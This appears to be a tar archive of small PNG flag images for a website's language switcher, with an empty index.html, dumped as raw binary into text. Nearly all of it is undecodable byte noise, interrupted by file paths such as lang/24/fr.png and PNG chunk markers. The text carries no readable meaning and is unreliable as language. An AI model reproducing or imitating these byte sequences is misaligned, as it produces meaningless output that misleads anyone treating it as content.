��1�m8�y�7�?�{֏va����}y�zg\���t���z��Fٞϫdy�wf�E=�ƻ��Y��e�#�D�5T��V4�MW�F!-ҭ��$XI;��ш�36��]2֝~��P���F��vɮ��e���I+
�t|�Zv\n�U�}�՚�>nd�� �<&:ungt��]�믬{E�~�?.��=�s��_^x��m�/���῿o��������G�0v�����U�Y	���x�}�S���e�8�0gOkN�}��9�f��3���������`Jw}�ܬ'��K�"I�ޜԣ��Iu<�B:6�u0�����y�eye����x �v<���b)���%����ސG�n��X�bŬ�ٰaC�|��v�*����O����w���[�r����n�p��Ď����0�{c�6�~5��7�NH>"0����0W��H���)f���	O�h�/�х��@O'�Ϋ�/�����Q�c��=���_�[w���d|�Gm_�^���'��
�(-��t�?���]�+YY�}m�
��t�����X���'U�|�	��T�߿�X��kwT��y���~�=��S�-���ކG`�����
s���$��c�וegv��9�V�Ά�G:��n���E�)F�q�3��؄��Y޵ˎ�k|d�7��
]��%���v^��c����Ik|r���Gd�{���/={���g�_xF������wn���<7�z-����U�Y����V��#1_��Y߭�{�_=;+s��!���9�z�ъշ��(�#;��s��\f�����c|���}`��8j�F�^�Z���<����$�|֏�p�<���`|l<�R���MoK��l��$;��5I���B� y y y��(�c�������`5�GOI���7Py�y�y�CGQ�$��X8��
3(��0��
3(��0��
3�0��
3(��0��
3(��0��(��0��
3(��0��
3(���
3(��0��
3(��0��
3�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��(��0��
3(��0��
3(��0
3(��0��
3(��0�����֙�zw��zz+'IR�c ��<�<�<�!��(�R����W\��P~���~���À�����rUR�E��kvy|Qy���/����տ�y��eo|Ϊ(�b�cύ7w�}��R$�J����ٲ믑Gy�쳫N[�5�,�Ķ��X{�����/�}�.�����0>>�)y\�����ο}Ɣ
��zy�Gz2)��X9��EiN_�����(ttD�j�?�.ۗ��m�ٌ��?ӎ���Q�����zx��q�9Q(�"i4�CK?��~�L�p���#�<�F��䔟3&�C-�����Ěm��#�<���nyBz�߈�.oŋ�����^o�{�4��X}�<r���v�^Z�n9%Z���G�w
�����A�MA9��l5�ܥ��j�5[�9�q����A�'�7i��߿Z9呤��U�Fm�CQ��'Q]̿�yQ:��h���𷮏��ˢ��]�����\�m�ե���~t���ï#�ף5<͝;����Gc��?�xp�¤
�F�M�&=�<j�F��ʱ�22�����/��6��'��c�Xz�H|��~�ش����'��_�zZ��S�G����Qy��/_zG�v����k{c���O�q� ��p~�����L8����.y�G���Wc����m��1\��C|Ps��}�M�fM9�U^w_��Y��a�b��/�ڃ�bӻ���7�O|�}�eq�Yg��O>�������1ʹq��Y��l�ѨV��uk�=��1�W5��f��#�¶m�زe|��p	NGG{����y�s���/'k�ՠ��#��f������|d4��v����/� �替�>{W����%�77Z����&;/�*�p%��E�1���X9|�^?J%�.��`�������E��W���V�f�Y�=�J�Y0߰�rQ��b`l$ʻ�n�M8�\�z�z��ʶ�1�nC��E}d8v��#�s�b��>��=�:�F�1��O�m�pz37�������+>K����Hu�Q�#щ_�`~Ol�6d��^�D�%1����w�;v}�3Q�;/-ɥ�����ۋM�����6���ϊ��f�ٚ����uwvFt�uF.�\!�e;.'��?<��e�����k+񃛮�gh��� �n�j���s׬�7��]�jY�]��m;����;�Ďs�8����Uyy��2_5[CQ�\��h�Ύbq����v^���rl��ʮi�)�9]T�U�G^�3��5wF�����^�]ciY�*v�����.���]�6F�����/���'eJ{�����<�󺣳P���`i����k��?�;�04����[�s���?IV����??ʳ|��Y�!�V'-@������=�?���u�Q���_:e�k׮�׿i(����K�x�����~Q43�_�-�������tΚ��c�sׂ�ñx���n388�p��w��H�}���P�v�g�pN����|���k�oj�in[�o}��J�|��K���x��ǒ�}'N����4c��>=��Z)])�c���S<���|������z_a���&�R�p�F�͆3�y��������qϓ�ß�Dt̛;���B4�w�wIF��~a`��&�<�;{����O��(_C��|��݆ÜG:��g��������z#��\B����}O,�Y���B���/�|�0onl-�oGj��,�ޞ�qj��Xؓ��?�|u��(G�י��ցԚp_����W�����<�x��o�%��Sm���|"Nh4��ُ���b<ᧃѵc(-�Go���0��NJ+f�C7l�'��6{?�3��U���1���w���<�Ԩݾ&jw�;������=~vy�+j�zT�ޮ1/��͘{�ّ��w_p~���5��kP�?l�夷T�7��'6�:�#_i��/zF�1���>�������S�z;/sn�1��r�M׏t��rp�ͯ�c��fk�Y�BG$��`��`1]7��eŎ�x��1;.��\�bz`��<�V#�U�9/ci��b��sVĮ7dž���]'͍�]�x�U?��]���%��
K{�����Y�ryt_a>��KG�9���b)��[umt�<=�6E㡇�ey�w�Ȯ��xJ-7�����7'���,��c�v\N^�fl��,!��I%.|�3��E��O\�&F��Q*��r�L^6�����?���~{g�=#c��Tq�f^޺�}�z���E���P;cl�<�RMZO�3��I&��I���l=ϯ07ji��/~�x�9����yw��ĵ,��=�xƏ�ę�A��̏�J=ʵʾ�|�E�F��Y�����/�V�E�.*�y�v�O�v�����E&�4W]��ㄗ.&]�Q(����򥉓�Ğ�lDՋ��;�)���_iDWg+.xҳ�Y�~+>��ۣ�lŢ�=8u�&/so�1��{yh͚��γ�rZ?z�	��8�w!������Z�]I+��G��5qA�G���j�lŒX�⬨;�+]7�x±q��G!�&�$�s����b�y1�W�j}oa�7��14x(?�u��x���g�����<�<�&|�l�˴<r��74�X���{B<v��x�Ǿ�~]E)��~�_��!��OxR�:�m�ßG����u��(�c�m���z��I_�xpDG*�F3�o�5ciך��${�K��٪>7�-Mo}����EO[�$�%�çP(�C�C�C�8���
s��O��\��5�m=9ؕ�B����<��<
��J���rP�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP����N�������cwg/����ߨx��J�1�+�xb�^���	&5�A#n#F	�ʩȱ�.,{�=�w�[ݳ;;�\{5A���O�=]�����=U�5 0��3 0��3� 0��3� 0��� 0��3� 0��3�@�-�l���+��RNӴ��bA�D=��P�C=��T�B�?s'.���Ɔ
QX�4�?��;����o���)�^5�I�<w��.��K��?~qt�7�ɯ��=6���ԣ����^]��1��R$}i��$���1��R��ds_X�y/h��9�X���գ����y�T�.�c�/ڭz?��cg?�S���뗟tG-�|�d�����7:�w��K�?��8�1s⪥�X�¿W��i�H��X���F�`ax���8~�s_��G�#�m\:�Q�>�d��h�k���I]A���F#�}�����؇/ݱ Y�#��a�zt���E�{|�=�����\^���r���Pz��d��q��=�c�,�E7�G��q�_�0�}袝M�Y�Ҹz�zt�i�=��s�0~����R�G��x��_>��];��Y}H�u��||�������\�]�����ߛJ��=%"��ұGGn�ܸ���̈\���ȟK+�h5���Yc���{�N5C~��H�+��r��#���2\��p[]n�cx�r��}�n�ݩG�jQ�~"j��y�գxH.&��ph�sf�vSO�Q#�t6b�ål���\��]�G�ֈ�Z�Ug�%H��p���h^O��
��R=�cA:6��v��f���r?�\�O_xG���e��y��V���Cq��Ǯ��ձ����F�^�'��w\�6.R����}�ي�-S�E��<�+o����
g�O�s�s������Mf�yтh����4��f��뻤Z��p�g�mu�!$t�lv�nCwԇj�_8�Mc1�9�֢�lX�v��ƒ'#� �+Ek��%��MU�u��?-������_���zґKﲮ�lF����j�FFwj�0~�����]�Y^}���9��>r >pBo��J�m�<4�����d��b8^���I�G׎W�X�/�c��u�r�x���m�������?�զm���!�DO���7k42�Ȗl?m��T�VQ�n���^}}}�>�V�˾�һmS.����5:�z_0��MQ/�g�9b��$潴�^ԈV#��)���Yh���AikD<f,�g��j�ڬ�c�`9�t�o��l��3���zm��e��f��;����X�\#Ie�pqO�ǂfol���]���oDa�h���*�~�{Ml>���}�<�C���Kǫj���%�G�5��'����t`���r106���8am%���w����ؘ�di6��X�������?,�����ʖ-Q�V#7gN�W���`n` *yW���Qd���gln{�#����5}����t�ƝIT~������ovnm*T�f�Y�~|3
�:��f�o�w�P͎U3s;o���=u����v���
�Q.W�Ճw{���̟����[*�J�Z5��Z���c�K��zu<������=���e�y^�u���#,���ߞ��x��N�y�φ��	�…:�&˃��e�T`��s:�������	�d�8#0g��@6�'� Թ��>��(�Zz�K���q�������#⡫n��6�ׯ�8�@������B�W���!�uI�}~=J�hD�e�ʊ$&�"��B���xH!��o�.��Vm��z6��ܿ_�νfi�C���6����m�/D�uw7�oKe�߶k�h�G��r9����|�G?K?��(_|I�~����ш�+0���[m��	̏�+Xz��V.~P�����W4�ǯ�>l����uߏ���f�c������S���E1Q������ӧ~}�}�.���+F�:���?�F��Ds,�R��W���|l���N8hM�b��1���l��G~ �
�T��O�!Y0���0.�bꋱ��Gj����s��َQ/o{��tfN�&?�ž�c�ǹe�+����Ea��1٨ͮ���?{���/�Fcs����낛���\*F�V��?aq|��Ql�Q{�%S��/<���+�-?�\_���S�-��?����xo��>�ѩ[3Z3�^�$��W�^���ڜ9ѓ̍�K;Oʸ/iڊ��{������m��O޴��G�Q�v������C���q!&/-�kj��1�Q|X5��]���j>i�
�q��-��z�n��x'O1�;t\����$I�&�t��v��$�Qv�LǏj��93ƊG��?�:�ztm�_���}��98~��/�h�g�cC���֟���O__x�~���3��DebR�u�K��9^u�N�'ĴoiM���j�l�Zm��K'07z{"���hQ������%�.j�m)���ʒ����lf`V�.�`õ�yB=��d=�/��od�˼��!����(�y��/�������G���z��i�f߷��x����#��A7�W�Ǜ&��N�0~tu�����v���C=���8��b��B<vC%>����d|��2O\׌�)����Ƌ��o��u\�&���z�����ǝ�T�5�L���߁)tƟ���ꛣ5�)��ݥ�d�nЅ�]�>�-��?X�bE�1<�������Gϓkq����_,��?���<�J�&���&+[�{#�ɦ��Lb��Z�}�p����|��F=~t��w��q�	�W�.ԣ���^�[_A=�P�V�#��S�H=���%��0O����v26f��ي�x�vg����;wu���q�A�x�S�fI{�zt�x�����}?c���M=da��n��K̼ So�m�i�%�ҿ���5����t\
��$I�C=P�@=�C=@�h�u���]}�L��zھ���YP�P�C=P�P�P=�4�m~�'��� 0��3� 0��3���3� 0��3� 0��3 0��3� 0��3� 03� 0��3� 0��3���3� 0��3� 0��� 0��3� 0��3� 03� 0��3� 0��3 0��3� 0��3� 0��� 0��3� 0���K�l)fK���]Qϖr��uݸ�$�� �l���W��|w_z�i'g/C�q���
��x�;�����p�.����хz��?����r��v�zt������������[o�Q��=6z���}�
��n�F#�}�εh��N#��a}��>�^�7�c;:��}jm굕��|~F9��i���/ԣK�h���e����#jc����y�k�]�ǵ���˧�5�_�������sSǧ�9`5�-�`�s��h��x5��g�Lg93-^��6��n�է��[��٩B1)�!�+�-���g��g��%Qk�գK��5�1Z�-�(d]�Ƿ��;Z�L3�r6w���|�wx.�༸~�ۨGw�v�H\p᭱pa��zX�q�x���f��Y����Vs�`�sT���v�����:m�f�����Y��ᩳ��F��ٯ�o�9�lY�Ro<��gu����?�j��㺤ݷC����+�o��nL;g��Y+e�"jcI���Y�Y*Kr��E��o�������?�������x|������YsP�`�s�R�����t��o��.��[���lp�����k�8���ĉ�����#����Ub�2uE`�Ȧ(W�:�K��l���Dqp,�x}-F��լL� �l��3'��K��?�?��6t����1�~<��ū��G̉�7�A��o&���fFh��j{�����1����ѝj���|.��]Q��ֶ�|�ڕ��I,�Y,Y�4�oYwnY�/�ǿ��he�```Q���в��-C�ǃ׌E�͵hG�t�}J�lY̖�#Jq�I�/̍b=�q]̕����12������>3�sQ_��
k�럻r����3rY��u�-75��ըG�j���޶݆�T*��[i��I+Vo�#z{z�OOyU�ƛ���^�:k�̶�Tԣk���Qoĝ��)��оw��}�g?�g����j��o��6to�hԳ�n�پ�Ě;��O]�ʼnX3�x�_<v��2�%W�H*��)�US�0g�IR,u���H��P��'�~	�[���f�M��o.�wڻ�%�W����E���?�VV��գZ�|_l���7�Ż~ތў�F��@i�@6o��G�b�ܴ={�F�ͪ�ֽ	LV�Bo69�~�ص+�����q��<+οp�xћ[��_���i��s���%�tۣ�vbio[�%��%0'1����������uzw����7|"N:������z�}���R-W;����gS�3[��ީ�a${=�B|�b$�N�:�V�3۽zd�����$+���W�����㟾*�{�q��g������xU5�`l}JF6���ER��?������@��oKŞ�����&߹�|�w��|�K��CY)+a��ڤ��Z��,t�r�N�����"����ؗĦ��<����g+۶�
L�Q�RoV�R�K}iL?�����nY���#�������^��}��Nؓ�\o����z��Qh�7�X�bE燱�#S���f<&+�z��}�3����z��4��l���X�+�%�ȖM�����Ys��8Ԋw�,�8�?nZyd<���F=�]��57[�dK�.�m��ܘ��n܋I�P��X`n�'kߋ��Ŷ�S6�lj�ƽ�C=PH�Ozw�����@`�f�@`�f��f�@`�f�@`�f@`�f�@`�f�@`f�@`�f�@`�f��f�@`�f�@`��@`�f�@`�f�@`f�@`�f�@`�f@`�f�@`�f�@`��@`�f�@`�f�7t�#I�b�җ-�]lZϖr��u���۰�쮹OzŹ�w��_>���eH��z�=�E�U�e�K=���?~~���9��o*�;'����Z=�z���4�a����d��/~��3������c�t�6N�(M�XqÆN[m��#m6�瘣v�ٿ4�W��:�`��?.�y"^��e��_T/�3�~Բx��+����'v8^E����_����]�Z����2\��"�e�-^��6�;4]�GZ�G:6���=$�ha�ۨ����G������������c��/��f|aՃ���k�0_�|4��Rmv�
���7|9zz��,��ig�I��(��Hzz�zՊHz{"ZS�r��aM���9}ϋ��cK�uSkƲ/��>��(���͋n���n�(�&0i_��wd���u�����������MQ���8�����~�6FF�E+�Q���N�?�\.���[�fv�D���h�#㝓�s��������GEn�����1��g��w/�����|LV}��[���<T���J��V̙�~Ӊ�e�;�=lQ��Ėͣ�%�l��촁}�q���߼2n�(�{�	��~pK���q���1<<9�]+��׳�-O�ﻱ"0�����VEs��(rH�y�)Q<��(x`6��c��=?<ƿ{Q�n�)��弫��R)W��ՃY`�FZm�1��4z��E}�S�ǭ+#�+�y=QLj:�}���y4�)�7��}r}��s���������f6�l��g����3{!0���"�7"7wN�6��,0��˘i�㏍��#7o^�V��k-׭zT*���3di.�����;��aZ�Y�qp"nZ5�|D�>��le����'�NLF)������4�R!
����x�(�&��/(��(7�a`%���g髷���l���p��jN}ż<u�r�;�[��:��D$M��[*�F�{sь�&Y]�6W�Է_�~É�S�Ǚg�4��1�S�l�~�I3k��V��bo�+�b���ϊi����$����L
�O����oTf��I�/��yu�Z����'���_�=���ݙ�p���oo8'�i����+�.��o�l|넧�'n�����:��Z%��D����h�$��nr3���^� ���Q�k��3��Z��l�)�;�}�V�v��A��/��N�1�Vk�
�#ǫ��V�J�~���F:��:�n�f�H=Z��r��e�ף��q��z����Z���>7l�S�'����}S3�$I�f/K�����ߴ1��z�o�!0��P������.6m��z6����z�o�!0����x�@`�f�@`�f��f�@`�f�@`�f@`�f�@`�f�@`f�@`�f�@`�f��f�@`�f�@`��@`�f�@`�f�@`f�@`�f�@`�f@`�f�@`�f�@`��@`�f�@`�f�G$I�{�G�����aɔ����i��V@+f/}�R�Ŧ�l)g���ŽZ��Y�;��675�>�!�د���_�'C���>��� 0��h��S_�<��e�	�O���(6jS#M��<��]v�����sH/��z���g��O'��;��q�~�o9�/�Z�/�����!0���>�_,ߝ��{��W�o��.x��K���9����hU��a��o�;b��|�t�ndz�5�v�f�h/�NV#�8������+~z�.����댯�ݙ�~��l-�ǫf+��0�.+Z[_s�v{F+׏9^3{$���٠2�ś������>�ק�07�ٲz�t�������w��K��\���s���`��O�]}ɥ�\�r�Yoz�g/8�笏���k�����l�d�c��wWd:�����bh��G�y}�h�q�f�H�U��0�yÑ_���-��7��-m�hFkttz�$��f����'�Q��'���,0WpI�Z�9�tÓ.��#Nz����;�
g�k�O��1Qi�de�J����;�?�f�석$�63{V�ǏG�Q���v,zOhE~q.�*��i5;�kI��G�7�>�U*:�K�z��rTο0~��?����W�D̩Ga�ukO}��?xٯ~�WW�[4ؗ&��d}�\�en4�x�!�	G���Y�l�9q�
��[��4WM���=�����3I�x$�i�F�v���A�ZO��j�����]�얱-���L���x|���}�����~F�=ciߘ���K��j�o:��������f{ū����+�).���w���S�fM`f�407�Ѫ����y�B!���s_`t�X������Q�r͝��S
�s��"�x��w�r�K˧�'��{����]���̾�R�Do���0S;C7��q�e!9�l=r��[��N��=2v}=&G��P���4�[�h���Ǖu���Q�{�i7�<剱��w����㩗�8b�/���k}��\�w�}50W+Q�om��gǩu��q淮�F#�G<x��fv�j��m�:���4b���(_^�����I�RIL?��}ms���*.qvU:9��}yj�j���_���Nz��d_b_U���\~�ѩ���߬��r���
�
M��ܯ�N��m��qj?%�ԗ-��S����H��%�g�a�V˗h��v���/��̥~�uӟ?)Y�W^��_���׿��τ3��k�F��	��ߣ���X�=�lo�n 0�'��lD�vx��7�x]�>��V*�e�����;�z�䈕[���.��r�%G?����?"4�/�Z�Fܹ�W��V��-�i�ZA�dn��$[�w�i����Y=��^�Go�2?:��W���D�Y
�z�+�+@`�{P��e�~��.6m��zVOg7�~=Jq�(�[k�P������3� 0��3� 0��3 0��3� 0��3� 0��� 0��3� 0��3���3� 0��3� 0��3 0��3� 0��3� 03� 0��3� 0��3���3� 0��3� 0��� 0��3� 0��3� 03� 0��3� 0��3 0��3� 0��3� 0��� 0��3�o��)R�I8�IEND�B`�lang/index.html000064400000000054151721413450007464 0ustar00<html><body bgcolor="#FFFFFF"></body></html>lang/switcher.png000064400000000317151721413450010027 0ustar00�PNG


IHDR
���sBIT|d�	pHYs��~�tEXtCreation Time01/09/10ܹ�tEXtSoftwareAdobe Fireworks CS4�Ӡ'IDAT(�c|���"###1ꆄB&�T���Q��QH�(5/?�Q-IEND�B`�lang/24/lv.png000064400000001026151721413460007044 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��N1����DB
H��^���G!��*`A�Ş��d�	z�����k{��3��3�&�#"0/mMS�o�����?��/!������WWU<��,`�9�}Oz|ķ��|�8����/���aL��+�g�K���
���]���u���)0Hi�uuBo6���F�3���ZG�1b9�h[� ��7�u�]<g��s5�+�=0��m�i�Ͱ"B����IҰ��e�(J�l~�V�z������� g%���&b�	������n�b�ip.����g����ϩ�@s&ƈ�U�@�f@U!F�(F/3CDj& ��=p��:���Ĥ�b1IP�ڶn"*ő��`U9>wR���ִh�8���'l܎���
IEND�B`�lang/24/bn.png000064400000001432151721413460007023 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�O�A���{�$�DPCh��	
k{*�[�X�h������Š	����q���ά��qw� �@�$�lv�g��ٕ�i�l� @���v@�������y��.$@I����yv�_�����4�J�7(ViF 
\��䡚�}BU�ѡ"��$jJ�qH�e=��{XX3�l�k:WX>^��
���sqo
��L�6����{x����5�\�L��v`jKx1�?x$�bT}���R?�\���}�M���T�z�Y[��q̛�|/@�8�0��U(gU��P��+�ZB�kfW!L�It��E�D�;JY��z`b'P��Sc�H�t;as��L"B����-JY(�t�a@����?vs�礧L�|�!�4��#E���Z���h�0L�_ðV���>(
s�Y�ͣA�`��!��Bf`�W13�_�Ҧ���Ҡxu�%r���^��~�ºQK�����>_��F����
U��1jv�r��c�~�G+ʥ�M���M�,ݎ��1���w8U0��%���W�	S�&�zQ�O��=�9*����t ��a��u�Z۳�B�Mv���y�7N�Q`;��%`���
�N���u���i|�r��IEND�B`�lang/24/fr.png000064400000001175151721413460007037 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��;��@��v{4;;	��p2V�r�M�7 �{�MH������G�a�b���L���e��뿪��JD8�e����e�<�y����;��Ÿ��0k�o����^���g9�β���Wɶv��d���+�:����l�5�%6���~���)����O/��,s�M�Ѷ6�Қ�E���s�����4��v��b]�g�3TU�&��z���7�eCU�{��@�P
1�P��h�) "2��S��@�8N��GNj��aQ�c�)Q�H�C[�#�w�����X뒸 T�xth=T`���֧9w�q���^
��9��D�I��'&�kc"Bi$����j��yDH��`�S��IV�0<H���c@�:�"���R
g�T�C�<�3��+���J)NfJ�8���r� �P�VOҔګ��B�x�����f3`[�aҧ$�^�O\�����N�꟧4���rzn���c6Հ	ûIEND�B`�lang/24/el.png000064400000001407151721413460007026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kQ���KӈI�P�R��PAEE\U�K�7Et��N�MAW��TV��t��
�P(��5m'���>�&c�j��t�a��˻g�9���g?C��q@�O�݌�
P����b��w_���D�5��^)&�G�P�J1zz�i�Ѻ�:�k����e�����KX�,O����r�=�ͽk�:Jn�b���@"�PqI�抓k�7��}���
`Od"�`�ZT�|Y;JhE����a�k�����J)b�p���.L֬�Ro���
&�^?c��Z���Z��u�&�Q�A�Ň�9^.�^m:}���SM�4v�c:lj@�0�-5�E���c8w��^�PX�X������`��b��Kʴ�A�M;+���2N<a�aE�^`�:�&fjM���i�	T@"��갉�r��y)����[i@�)r
�~[���0��
�\����>���YR�
���hm��Zu�qr�"�`��4^-]��F���}���M� ʷG�vkj�9̦�T�o>�+툂�F��un������Q��bWE��/?�S*�p�7�	�?�������f(��ݭ��r@BNFkݝ�s@���<���|���o�bz�f�@�>N�����5#k�IEND�B`�lang/24/ro.png000064400000001243151721413460007044 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F)IDATx��M��0�N2���TBB�`��8'���ps>���4M�ﱘ�u:�ڋ��ol5~�/��ˋQU�r��0@	L���#����|QV&�ӗ�;��p����ŷ�O+`V��w�_����Y��<L����f0�A�6p���!/�Q��ɯa�Q��8�~<�׌ٮ�b6�&������	n���vE�z�zw%*�J�y�.�m����� }཰\9��%"�<ZU�}���4m�N;{=!��m
h��
��5R��
�Fg������:���e&����Np�`�X���V[���Zk�����G���<::^�W�$?���!�MrP�����E^����
˳i삀B�Ts"y�I�q~|TARz;Fe\	�=����K��@�&Sp��E�Q���S���UI�
��nz�
��SP�C��V���G	��	E�n-�ύ�A$P�	LP��eL�<HDN�Z��tO(��ԋ�ɠ�|�0��j�$�9�
xv�����a>�@m�?N�����D1CA��IEND�B`�lang/24/bg.png000064400000000743151721413460007020 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FiIDATx��KN�0��q�V�-�*!�
�p	��%�	��9H-}��̰Hچ>`�p6�7Q������=w�MZ�@�Я�9�@Y�����E&���q��oK��.8�O�&,R�eҋ��t��$Sfq�*��@n��|����8*���#1���M�$��*s]-���O|U��pe�Ě��
F�� ���wo���}�H^����R311���2�%���t�!Do���^��x~|�뎯�lC�!p����(*�<����3�y�IV����H��Ed���2�(*�+�0fL�o�>�Ӭ�p]m*�5p\enހW���Q�i	��s�6��x���V�UQIEND�B`�lang/24/ko.png000064400000002521151721413460007035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[LSw�?��=\� ��HH�eY�%Y���DV�%��$�is�{‡eN���3��,^�1^�"FL6����B�ˆ�a^Bm�����T�b&/~_��~������,'4,3^	�- O>_& �V	!����2��H$x�(I$���Ln���aN�8��Ǐ�F�K&����q��q�&/�W�\A�e.5]����Ϸhr��Ogg'�O�&33�˗//-
���x��!����\.ג�B!���1�LSXXHgg�su�;"��ϟg���x�^


����n�'稁Q��Do/��ł\bG��@~~>v����T����|\�z��Lnn�0�
!<S.������EEEܹs���c?_g����h&7PUѬ\Izu5����'O"I���BNN;v�@���((�sl۶
��ĭ[����yF~�:��_�
%�QՉקO9z��ŋI[eee������GII	���I�w`
###���QUU5�5�aw�D	�v�ɥ-*BQ��d�46�3�hii�f�a�X��E
��'�ZQ�֡MO�Z�����yti���([�]��!��>^L"*�-ֳ�`��Z�1�u�"�y#�Io��	�n�޻�a�v-�3����F>�� ��z5o�"8ʄ,h�嗸B�R!�8�ll���~��􅼮�v-��U�@��0�qFm��I<��5��1<<̱cǒ�w7b1grI��˔�4�(JF��
TU�+�Rx�jCrݩS�x�����:c��͛�۷��g�r��9�z��Dģ
�Wc��
�*�	���({?}�<K���9|�o����)�X,���466r��
|>v���I{{;���\���=_9x��c��4>����v�%I���	n߾��j�l6S__�$I���#��DF"OJJJ2���SYY��h����G������xc�����GQU�������7=��uuu�F����̙38��d>�D"���M�Þ����▖���q8x�^�^/���g����쎎jkkٴi�,S\\LAA�cF�7�XQ������n���ؽ{76�m���h4r����	�B�\����l�A�u�Vq��]
��R�ń�����g^����5��ŋb!~�_V���J x���<�H@.P�yɗ��?��K�ʅ.��#b�����t��;���{���IEND�B`�lang/24/fi.png000064400000001013151721413460007015 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��;N�@��%k� HD$�ABt44�8�@�4�܂p��C""�{�A�'!���v�߬5k?���+�=Uj��������e����Ϭ�˫�����o�T[�U�݋NQ.�tb�^�(�jr�m�<YQl
����Z��r��Z�pX�'練�w��]�|�&c*~ֽ�V���_�|���)�K?��� �RS,BeM��$W�!�N�q�����-�8v�J9 ��p��- j�����0�c]9͉��XRK ��Ǖ���:"��o�Np���� �1Ap��s���2XO�9s�Wkm~�":�ɜ[i�25�ʁ"t��v�X��^o�i~-IJ��~��#�8(y>�g�4�{y��
+B��sZ5�����w�IEND�B`�lang/24/hmn.png000064400000001431151721413460007205 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�lang/24/ka.png000064400000001137151721413460007021 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMn�@�cL�'�RŢ��T܁B�A,�K�eaYu�8k�8A�Z(����n�xް��x���"Y��h4���ce�a��fY;�\��_��	0v��1�j�����ԫ&[_�,�^�
h-�N�KQJP[6����N��X�Կ������t���:�6]'w�bw�\��ـ0D�	LXw	�&���2�%���$�<<���`|�oX�,�H��R
dt�+r\�/b,���7ԟn!W�꒙��
#N_��?\]�g��q�==�*&�n6!��{O�G�)��L�ONОW1��B0����F#W���B�fE~t��B7�#QmJ����v�2�G� ��vF�����C�����X�ǽ�e���
R�d6Ksp�lD�=�W-��Up(�Y4h��G ��KF0S9h���r���w�vf�3c�'��Ae��8�5���@?{���G+~p<���h�t�Pb�V�����F�z��IEND�B`�lang/24/cs.png000064400000001521151721413460007030 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�W��[?ӎa范B����q!
����%� I  4q����EƍQ	"�Qɨ�!�o���&��]U]U�뢧M���Cw��ūMqO�s��<QUf3�����Y$,������h�z�|��ʳ�X�z>��|P�
e(�YG^���U�xR$��ଣj��_���ɛDI^����s�ܒ��r�{\�ֽ�!`��9q�'���x��9q�nG	�:ƣ���[���7~4�_-�����ȍ��o�]�����S��YΊ��t���ZK��l�S�2�8#R��6����H3�fLÂzf&֣��Wj���� �ˏ��%��m�*�|���!<�s7��4��.w���ٸ��Y4-����"	{:�ߛ������^9�{zZ��Z�uX��p�H�g�3vEV�Pu�i�B�N�Upo!�����
6'��ӄ�t�GK�LQzϣ��k
�7�3�.�l���olH���'"u�3_ͳ�=`}M���+�G�αЎR�
�n����1�uZ����~Cr�o�+lM~'Tא�!Vk�d|�1�M�?6cl�/�>�G]��)�Aע�S�(H��t��Q�O�U)���."X�'���"gKT��:�0.�%Q��p�Ў��UX�?!�)㐎F����]�����Qg��VI�|,�R,�n�ĝ�g�,)P���ә&�r)��A���`IEND�B`�lang/24/ga.png000064400000001033151721413460007010 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ=r�@����?�Ta�		�������"D\2_��D&Xkei5;��&@�cKlI�����Uݯ��n���q̓q�stx�89p�x���]�
������(w�>���۫�o<0˲�������A{�u
0�O"�R�h*��qݥ����:����D���c��b�7�'����V�*���?��6�;�=*�H�r*ʰ�Π)7�ou9�� �R6Kʦ~��8�~��h�2(B�"T����:��S���)�P4��d~ӏJԽ�DI$g���F0P��$�\ܕ(!9���I����`�v�4��C�	CI�����$4��b C��� U;�D���>U2���t��Y��m+���A��|�7~QŽ;���w�ŁN�^o���\<	X�g�W�w�r�'��!�IEND�B`�lang/24/ml.png000064400000001121151721413460007027 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�lang/24/mk.png000064400000002177151721413460007042 0ustar00�PNG


